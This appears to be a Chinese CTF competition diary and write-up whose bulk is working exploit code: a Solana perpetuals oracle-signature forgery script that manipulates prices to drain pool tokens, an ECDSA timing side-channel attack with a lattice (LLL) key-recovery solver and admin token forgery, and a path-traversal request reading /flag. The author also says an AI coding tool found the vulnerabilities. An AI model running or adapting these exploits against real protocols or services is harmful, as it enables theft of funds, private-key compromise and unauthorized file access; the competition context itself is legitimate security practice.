游记

?好像也没有玩,第一天坐飞机,晚上在火车站旁边吃了顿达美乐(?然后打车去酒店。好烦,坐车晕了

第二天比赛,坐牢,第三天比赛坐牢,然后晚上飞机回家。

Realworld

perpetual

要去找solana-labs/perpetuals的0day。看了眼好像archive了没有维护。

神秘codex直接给漏洞找出来了,,

于是搓脚本调利用,,最后简单背包一下就行。

Python
from pwn import *import jsonimport structimport sysimport timeimport urllib.requestfrom solders.pubkey import Pubkeyfrom solders.keypair import Keypairfrom solders.instruction import Instruction, AccountMetafrom solders.system_program import ID as SYS_PROGRAM_IDfrom solders.sysvar import INSTRUCTIONS as SYSVAR_INSTRUCTIONS_ID# import subprocess# print = lambda *a, **k: None# p = subprocess.Popen(["orb", "./challege_server"],stderr=subprocess.PIPE, stdout=subprocess.PIPE)# time.sleep(1)context.log_level = "error"STATIC_PHASE_PARAMS = {    # 示例(你运行后自己改):    0: {"p1": 1_000_000_000, "e1": -5,        "p2": 1_000_000_000, "e2": -7,        "safety": 0.5, "cap": 5_000_000,        "mode": "m1_to_m2"},}ED25519_PROGRAM_ID = Pubkey.from_string("Ed25519SigVerify111111111111111111111111111")SPL_TOKEN_ID = Pubkey.from_string("TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA")SPL_ASSOCIATED_TOKEN_ID = Pubkey.from_string("ATokenGPvbdGVxr1b2hvZbsiqW5xWH25efTNsLJA8knL")IX_SET_CUSTOM_ORACLE_PRICE = bytes([0xef, 0x2b, 0x41, 0x94, 0xe1, 0x85, 0x6d, 0x9c])IX_SWAP = bytes([0xf8, 0xc6, 0x9e, 0x91, 0xe1, 0x75, 0x87, 0xc8])R1_DECIMALS = 9R2_DECIMALS = 6class SolanaClient:    def __init__(self, host, port):        self.host = host        self.port = port        self.r = remote(host, port)    def close(self):        self.r.close()    def reconnect(self):        self.close()        self.r = remote(self.host, self.port)        self.read_banner_key("Player:")        self.read_banner_key("Admin:")        self.read_banner_key("Mint1:")        self.read_banner_key("Mint2:")    def read_banner_key(self, prefix):        self.r.recvuntil(prefix.encode())        line = self.r.recvline().strip().decode()        return Pubkey.from_string(line.strip())    def send_transaction(self, ixs):        self.r.recvuntil(b"num instructions:")        self.r.sendline(str(len(ixs)).encode())        for ix in ixs:            self.send_instruction(ix)    def send_instruction(self, ix):        self.r.recvuntil(b"program:")        self.r.sendline(str(ix.program_id).encode())        self.r.recvuntil(b"num accounts:")        self.r.sendline(str(len(ix.accounts)).encode())        for acc in ix.accounts:            tag = "w" if acc.is_writable else "r"            if acc.is_signer:                tag += "s"            self.r.sendline(f"{tag} {acc.pubkey}".encode())        self.r.recvuntil(b"ix len:")        self.r.sendline(str(len(ix.data)).encode())        self.r.send(ix.data)def get_associated_token_address(owner, mint):    return Pubkey.find_program_address(        [bytes(owner), bytes(SPL_TOKEN_ID), bytes(mint)],        SPL_ASSOCIATED_TOKEN_ID    )[0]def serialize_params(custody, price, expo, conf, ema, publish_time):    return (        bytes(custody) +        struct.pack("<Q", price) +        struct.pack("<i", expo) +        struct.pack("<Q", conf) +        struct.pack("<Q", ema) +        struct.pack("<q", publish_time)    )def forge_ed25519_pair(admin_pubkey: Pubkey, params_bytes: bytes, attacker_keypair: Keypair):    """    构造两个 Ed25519 指令:      fake_ix - 给 perpetuals 的漏洞代码使用(读取固定 offset 的 pubkey/msg)      real_ix - 给 Ed25519 程序真正验证(签名者为攻击者)    """    msg = params_bytes    # 转换成真正的 bytes    sig = bytes(attacker_keypair.sign_message(msg))        # Signature -> bytes    attacker_pubkey_bytes = bytes(attacker_keypair.pubkey())    admin_pubkey_bytes = bytes(admin_pubkey)    # ================    #   real_ix    # ================    # 为真验证准备 offsets    sig_offset = 16    pk_offset = sig_offset + len(sig)              # 16 + 64 = 80    msg_offset = pk_offset + len(attacker_pubkey_bytes)   # 80 + 32 = 112    real_data = bytearray()    # header    real_data.append(1)     # num_signatures    real_data.append(0)     # padding    # 描述块(14 bytes)    real_data.extend(struct.pack("<H", sig_offset))       # signature offset    real_data.extend(struct.pack("<H", 0xFFFF))           # signature_instruction_index (self)    real_data.extend(struct.pack("<H", pk_offset))        # pubkey offset    real_data.extend(struct.pack("<H", 0xFFFF))           # pubkey_instruction_index (self)    real_data.extend(struct.pack("<H", msg_offset))       # msg offset    real_data.extend(struct.pack("<H", len(msg)))         # msg length    real_data.extend(struct.pack("<H", 0xFFFF))           # message_instruction_index (self)    # 拼接真实签名 | attacker_pubkey | msg    real_data.extend(sig)    real_data.extend(attacker_pubkey_bytes)    real_data.extend(msg)    real_ix = Instruction(ED25519_PROGRAM_ID, bytes(real_data), [])    # ================    #   fake_ix    # ================    fake_len = msg_offset + len(msg)    if fake_len < 112 + len(msg):        fake_len = 112 + len(msg)    fake_data = bytearray(fake_len)    fake_data[0] = 1    fake_data[1] = 0    # 指向 real_ix(索引=1)    struct.pack_into("<H", fake_data, 2, sig_offset)    struct.pack_into("<H", fake_data, 4, 1)    struct.pack_into("<H", fake_data, 6, pk_offset)    struct.pack_into("<H", fake_data, 8, 1)    struct.pack_into("<H", fake_data, 10, msg_offset)    struct.pack_into("<H", fake_data, 12, len(msg))    struct.pack_into("<H", fake_data, 14, 1)    # perpetuals 会用固定 slice 取这里的数据    fake_data[16:48] = admin_pubkey_bytes    fake_data[112:112 + len(msg)] = msg    fake_ix = Instruction(ED25519_PROGRAM_ID, bytes(fake_data), [])    return fake_ix, real_ix# -------------------------------------------------------------------------# Custody Limit 计算# -------------------------------------------------------------------------def compute_safe_amount_in(    free_out_tokens,    dec_in, dec_out,    price_in, expo_in,    price_out, expo_out,    safety):    if free_out_tokens <= 0:        return 0    free_out_lamports = free_out_tokens * (10 ** dec_out)    P_in = price_in * (10 ** expo_in)    P_out = price_out * (10 ** expo_out)    if P_in <= 0 or P_out <= 0:        return 0    scale = 10 ** (dec_in - dec_out)    max_in = free_out_lamports * (P_out / P_in) * scale    max_in *= safety    if max_in > 2**63 - 1:        max_in = 2**63 - 1    if max_in < 1:        return 1    return int(max_in)# -------------------------------------------------------------------------# 主逻辑# -------------------------------------------------------------------------def main():    # host, port = "10.10.10.80", 1337    # host, port = "192.168.2.94", 1337    host, port = "127.0.0.1", 1337    client = SolanaClient(host, port)    player = client.read_banner_key("Player:")    admin = client.read_banner_key("Admin:")    mint1 = client.read_banner_key("Mint1:")    mint2 = client.read_banner_key("Mint2:")    program_id = Pubkey.from_string("Bmr31xzZYYVUdoHmAJL1DAp2anaitW8Tw9YfASS94MKJ")    perpetuals_pda = Pubkey.find_program_address([b"perpetuals"], program_id)[0]    transfer_authority_pda = Pubkey.find_program_address([b"transfer_authority"], program_id)[0]    pool_pda = Pubkey.find_program_address([b"pool", b"test pool"], program_id)[0]    custody1_pda = Pubkey.find_program_address([b"custody", bytes(pool_pda), bytes(mint1)], program_id)[0]    custody2_pda = Pubkey.find_program_address([b"custody", bytes(pool_pda), bytes(mint2)], program_id)[0]    custody1_token = Pubkey.find_program_address([b"custody_token_account", bytes(pool_pda), bytes(mint1)], program_id)[0]    custody2_token = Pubkey.find_program_address([b"custody_token_account", bytes(pool_pda), bytes(mint2)], program_id)[0]    oracle1_pda = Pubkey.find_program_address([b"oracle_account", bytes(pool_pda), bytes(mint1)], program_id)[0]    oracle2_pda = Pubkey.find_program_address([b"oracle_account", bytes(pool_pda), bytes(mint2)], program_id)[0]    player_ata1 = get_associated_token_address(player, mint1)    player_ata2 = get_associated_token_address(player, mint2)    create_ata_data = bytes([1])  # CreateIdempotent    def make_create_ata_ix(mint, ata):        return Instruction(            SPL_ASSOCIATED_TOKEN_ID,            create_ata_data,            [                AccountMeta(player, True, True),   # funding (signer)                AccountMeta(ata, False, True),     # ata                AccountMeta(player, False, False), # owner                AccountMeta(mint, False, False),   # mint                AccountMeta(SYS_PROGRAM_ID, False, False),                AccountMeta(SPL_TOKEN_ID, False, False),            ]        )    client.send_transaction([        make_create_ata_ix(mint1, player_ata1),        make_create_ata_ix(mint2, player_ata2)    ])    client.reconnect()    # 生成攻击 key    attacker_keypair = Keypair()    ts_base = int(time.time())    def fresh_ts():        nonlocal ts_base        ts_base = max(ts_base + 1, int(time.time()))        return ts_base    def set_oracle(custody_pda, oracle_pda, price, expo):        params = serialize_params(custody_pda, price, expo, 1, price, fresh_ts())        fake, real = forge_ed25519_pair(admin, params, attacker_keypair)        ix = Instruction(program_id, IX_SET_CUSTOM_ORACLE_PRICE + params, [            AccountMeta(perpetuals_pda, False, False),            AccountMeta(pool_pda, False, False),            AccountMeta(custody_pda, False, False),            AccountMeta(oracle_pda, False, True),            AccountMeta(SYSVAR_INSTRUCTIONS_ID, False, False),        ])        client.send_transaction([fake, real, ix])        client.reconnect()    def swap_m1_to_m2(amount):        data = IX_SWAP + struct.pack("<Q", amount) + struct.pack("<Q", 0)        ix = Instruction(program_id, data, [            AccountMeta(player, True, True),            AccountMeta(player_ata1, False, True),            AccountMeta(player_ata2, False, True),            AccountMeta(transfer_authority_pda, False, False),            AccountMeta(perpetuals_pda, False, False),            AccountMeta(pool_pda, False, True),            AccountMeta(custody1_pda, False, True),            AccountMeta(oracle1_pda, False, False),            AccountMeta(custody1_token, False, True),            AccountMeta(custody2_pda, False, True),            AccountMeta(oracle2_pda, False, False),            AccountMeta(custody2_token, False, True),            AccountMeta(SPL_TOKEN_ID, False, False),        ])        client.send_transaction([ix])        client.reconnect()    def swap_m2_to_m1(amount):        data = IX_SWAP + struct.pack("<Q", amount) + struct.pack("<Q", 0)        ix = Instruction(program_id, data, [            AccountMeta(player, True, True),            AccountMeta(player_ata2, False, True),            AccountMeta(player_ata1, False, True),            AccountMeta(transfer_authority_pda, False, False),            AccountMeta(perpetuals_pda, False, False),            AccountMeta(pool_pda, False, True),            AccountMeta(custody2_pda, False, True),            AccountMeta(oracle2_pda, False, False),            AccountMeta(custody2_token, False, True),            AccountMeta(custody1_pda, False, True),            AccountMeta(oracle1_pda, False, False),            AccountMeta(custody1_token, False, True),            AccountMeta(SPL_TOKEN_ID, False, False),        ])        client.send_transaction([ix])        client.reconnect()    def fetch_metrics():        url = f"http://{host}:8080/metrics"        data = json.loads(urllib.request.urlopen(url).read().decode())        return float(data["custody1"]), float(data["custody2"]), float(data["aum"])    set_oracle(custody1_pda, oracle1_pda, 1_000_000_000, -3)    set_oracle(custody2_pda, oracle2_pda, 1_000_000_000, -9)    swap_m1_to_m2(900)    c1,c2,aum = fetch_metrics()    def a2b(amount, times, p1,e1 ,p2,e2):        for _ in range(times):            p1, e1 = 1_000_000_000, -7            p2, e2 = 1_000_000_000, -5            set_oracle(custody1_pda, oracle1_pda, p1, e1)            set_oracle(custody2_pda, oracle2_pda, p2, e2)            swap_m2_to_m1(amount)            c1,c2,aum = fetch_metrics()            print(f"A-B {c1=} {c2=} {aum=}")            sleep(0.1)    def b2a(amount, times, p1,e1 ,p2,e2):        for _ in range(times):            p1, e1 = 1_000_000_000, -3            p2, e2 = 1_000_000_000, -6            set_oracle(custody1_pda, oracle1_pda, p1, e1)            set_oracle(custody2_pda, oracle2_pda, p2, e2)            swap_m1_to_m2(amount)            c1,c2,aum = fetch_metrics()            print(f"B-A {c1=} {c2=} {aum=}")            sleep(0.1)    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)    b2a(10_000_000, 6, 1_000_000_000, -3, 1_000_000_000, -6)    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)    a2b(10_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)    b2a(10_00_000, 20, 1_000_000_000, -3, 1_000_000_000, -6)    a2b(10_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)    b2a(10_00_000, 12, 1_000_000_000, -3, 1_000_000_000, -6)    a2b(10_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)    b2a(10_00_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)    a2b(10_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)    b2a(10_00_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)    a2b(10_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)    b2a(10_00_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)    a2b(10_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)    b2a(10_00_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)    a2b(10_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)    b2a(10_00_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)    a2b(10_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)    b2a(10_00_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)    a2b(10_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)    b2a(10_00_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)    a2b(10_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)    b2a(10_00_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)    a2b(10_00, 7, 1_000_000_000, -7, 1_000_000_000, -5)    b2a(10_0_000, 20, 1_000_000_000, -3, 1_000_000_000, -6)    a2b(10_00, 7, 1_000_000_000, -7, 1_000_000_000, -5)    b2a(10_0_000, 8, 1_000_000_000, -3, 1_000_000_000, -6)    a2b(10_00, 7, 1_000_000_000, -7, 1_000_000_000, -5)    b2a(10_0_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)    a2b(10_0, 7, 1_000_000_000, -7, 1_000_000_000, -5)    b2a(10_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)    a2b(10_0, 7, 1_000_000_000, -7, 1_000_000_000, -5)    b2a(10_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)    a2b(10_0, 7, 1_000_000_000, -7, 1_000_000_000, -5)    b2a(10_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)    a2b(10_0, 7, 1_000_000_000, -7, 1_000_000_000, -5)    b2a(10_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)    a2b(10_0, 7, 1_000_000_000, -7, 1_000_000_000, -5)    b2a(10_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)    a2b(10_0, 7, 1_000_000_000, -7, 1_000_000_000, -5)    b2a(10_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)    a2b(10_0, 7, 1_000_000_000, -7, 1_000_000_000, -5)    b2a(10_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)    client.r.sendlineafter("num instructions:", b"0")    client.r.close()if __name__ == "__main__":    main()

TrustSQL

依旧codex

秒了

这个太刻晴了,给我整甘雨了,,,这真是realworld?出成ctf吧,没什么必要上去演示

Forge

好像队友也是用ai切的,反正主要操作是做调用然后侧信道?吧

Python
from requests import get, postimport requestsimport jsonimport timeimport osfrom hashlib import sha256from ecdsa import SigningKey, SECP256k1import base64url = "http://10.10.10.233:5000"def get_pubkey():    r = requests.get(f"{url}/api/pubkey")    return bytes.fromhex(r.json()['vk'])def collect_data():    # Parameters    kbits = 240    train_times = 100    ncount = 400        print(f"[*] Setting parameters: kbits={kbits}, train={train_times}, ncount={ncount}")    r = requests.post(f"{url}/api/set_param", json={        "kbits": kbits,        "train": train_times,        "ncount": ncount    })    print(f"[*] Set param response: {r.json()}")        print("[*] Collecting training data...")    r = requests.get(f"{url}/api/train")    data = r.json()    costs = data['costs']    sigs = data['sigs']        # Pair them up    pairs = []    for c, s in zip(costs, sigs):        pairs.append((c, s))            # Sort by cost (ascending)    pairs.sort(key=lambda x: x[0])        # Take the top ones (fastest)    # We expect half of them to be small k (kbits=240)    # Let's take top 60 to be very safe    top_pairs = pairs[:60]        print(f"[*] Collected {len(top_pairs)} signatures with low signing time.")        # Prepare data for Sage    # We need r, s, and the message hash    # Message is fixed in server.py: b"Not your keys, not your coins!"    msg = b"Not your keys, not your coins!"    msg_digest = sha256(msg).digest().hex()        output = {        "msg_digest": msg_digest,        "sigs": [p[1] for p in top_pairs],        "n": int(SECP256k1.order),        "kbits": kbits    }        with open("data.json", "w") as f:        json.dump(output, f)    print("[*] Data saved to data.json")def forge_token():    if not os.path.exists("privkey.txt"):        print("[-] privkey.txt not found. Run solve.sage first.")        return    with open("privkey.txt", "r") as f:        d = int(f.read())        print(f"[*] Loaded private key: {d}")    sk = SigningKey.from_secret_exponent(d, curve=SECP256k1)        # Verify against public key    vk = sk.verifying_key    r = requests.get(f"{url}/api/pubkey")    server_vk_hex = r.json()['vk']    my_vk_hex = vk.to_string().hex()        print(f"[*] Server VK: {server_vk_hex}")    print(f"[*] My VK:     {my_vk_hex}")        if server_vk_hex != my_vk_hex:        print("[-] Private key mismatch! The recovered key is incorrect.")        return    print("[+] Private key verified!")        # Payload    payload = json.dumps({"username": "admin"}).encode()    # The server decodes base64 payload    # payload = base64.b64decode(payload)    # So we need to base64 encode it    payload_b64 = base64.b64encode(payload).decode()        # Sign payload    # verify_token:    # msg = parts[0].encode() -> this is payload_b64.encode()    msg = payload_b64.encode()    msg_digest = sha256(msg).digest()        signature = sk.sign_digest(msg_digest)    sig_b64 = base64.b64encode(signature).decode()        token = f"{payload_b64}.{sig_b64}"    print(f"[*] Forged token: {token}")        # Access welcome    cookies = {'token': token}    r = requests.get(f"{url}/welcome", cookies=cookies)        print("[*] Response from /welcome:")    print(r.text)        if "flag" in r.text.lower() or "admin" in r.text.lower():        print("[+] Exploitation successful!")        return tokenif __name__ == "__main__":    while True:        os.system("rm privkey.txt")        os.system("rm data.json")        collect_data()        os.system("sage solve.sage")        try:            token = forge_token()            if token is not None:                print(f"[+] Use this token to access admin: {token}")                break            else:                print("[-] Failed to forge token.")                continue        except Exception as e:            print(f"[-] Error during forging token: {e}")            continue
Python
import jsonfrom sage.all import *def solve():    print("[*] Loading data...")    with open("data.json", "r") as f:        data = json.load(f)    sigs = data["sigs"]    msg_digest = int(data["msg_digest"], 16)    n = int(data["n"])    kbits = data["kbits"]        # Parse signatures    parsed_sigs = []    for s_hex in sigs:        r = int(s_hex[:64], 16)        s = int(s_hex[64:], 16)        parsed_sigs.append((r, s))            m = len(parsed_sigs)    print(f"[*] Loaded {m} signatures")        # Prepare HNP parameters    # k = s^-1 * (z + r * d) mod n    # k = s^-1 * z + s^-1 * r * d mod n    # k = t + u * d mod n        ts = []    us = []        for r, s in parsed_sigs:        s_inv = inverse_mod(s, n)        t = (s_inv * msg_digest) % n        u = (s_inv * r) % n        ts.append(t)        us.append(u)            # Eliminate d    # k_i = t_i + u_i * d mod n    # k_1 = t_1 + u_1 * d mod n  => d = u_1^-1 * (k_1 - t_1) mod n    # k_i = t_i + u_i * u_1^-1 * (k_1 - t_1) mod n    # k_i = t_i + w_i * (k_1 - t_1) mod n    # k_i = t_i + w_i * k_1 - w_i * t_1 mod n    # k_i - w_i * k_1 = t_i - w_i * t_1 mod n    # Let c_i = t_i - w_i * t_1 mod n    # k_i - w_i * k_1 - l_i * n = c_i    # k_i = w_i * k_1 + l_i * n + c_i        # Try different subsets    available_sigs = len(sigs)    for num_sigs in [20, 25, 30, 40, 50, 60]:        if num_sigs > available_sigs:            break                    print(f"[*] Trying with {num_sigs} signatures...")                subset_indices = range(num_sigs)                # Recalculate ws and cs for this subset        # We need to re-index relative to the first element of the subset                # Let's just use the first num_sigs from the sorted list        # We assume they are sorted by quality (time)                current_ts = ts[:num_sigs]        current_us = us[:num_sigs]                u1_inv = inverse_mod(current_us[0], n)        ws = []        cs = []                # Centering        # k_i = w_i * k_1 + l_i * n + c_i        # We want k_i in [0, 2^kbits)        # Shift to [-2^(kbits-1), 2^(kbits-1))        # k_i_centered = k_i - 2^(kbits-1)        # k_i_centered + 2^(kbits-1) = w_i * (k_1_centered + 2^(kbits-1)) + l_i * n + c_i        # k_i_centered = w_i * k_1_centered + l_i * n + (c_i + w_i * 2^(kbits-1) - 2^(kbits-1))                bias = 2**(kbits-1)                for i in range(num_sigs):            w = (current_us[i] * u1_inv) % n            c = (current_ts[i] - w * current_ts[0]) % n                        # Adjust c for centering            c_prime = (c + w * bias - bias) % n                        ws.append(w)            cs.append(c_prime)                    B = 2**(kbits-1) # Bound is now half the range                matrix_rows = []                # Row for k1_centered        row = [1] + ws[1:] + [0]        matrix_rows.append(row)                # Rows for n        for i in range(num_sigs-1):            row = [0] * (num_sigs+1)            row[i+1] = n            matrix_rows.append(row)                    # Row for target        row = [0] + cs[1:] + [B]        matrix_rows.append(row)                mat = Matrix(ZZ, matrix_rows)                # print("[*] LLL reduction...")        L = mat.LLL()                for row in L:            if abs(row[-1]) == B:                pot_k1_centered = row[0]                if row[-1] < 0:                    pot_k1_centered = -pot_k1_centered                                    # Recover k1                pot_k1 = pot_k1_centered + bias                                # Calculate d                d = (u1_inv * (pot_k1 - current_ts[0])) % n                                # Verify                k2_calc = (current_ts[1] + current_us[1] * d) % n                                # Check if k2 is small (it should be)                # Also check if it matches the public key if we had it, but we don't easily here.                # But we can check if the recovered d is consistent with ALL signatures in the subset                                consistent = True                for j in range(num_sigs):                    kj_calc = (current_ts[j] + current_us[j] * d) % n                    if kj_calc >= 2**kbits:                        consistent = False                        break                                if consistent:                     print(f"[+] Found private key: {d}")                     with open("privkey.txt", "w") as f:                         f.write(str(d))                     print("[*] Private key saved to privkey.txt")                     return    print("[-] Failed to recover private key")if __name__ == "__main__":    solve()

AWDU

叫什么awdu啊,就是现在awd不都是这样么

Web - fox

第一个洞

response = r.post(f"http://{ip}:{port}/index.php/plus/download/file", data={"name": "../../../../../../../../../flag"}).text 任意读。name必须走post发来避开他防火墙,所以fix就是反过来把post给收掉。

第二个洞

应该是Zipdown的解压,可以构造恶意包解压来做任意写。没写出来攻击。

Pwn - smiles

Shell
ADD.  /flag

三个空格。怎么还是个后门来的。

队里没pwn了,做到这样差不多拼尽全力了…后面复现试试看做其他的?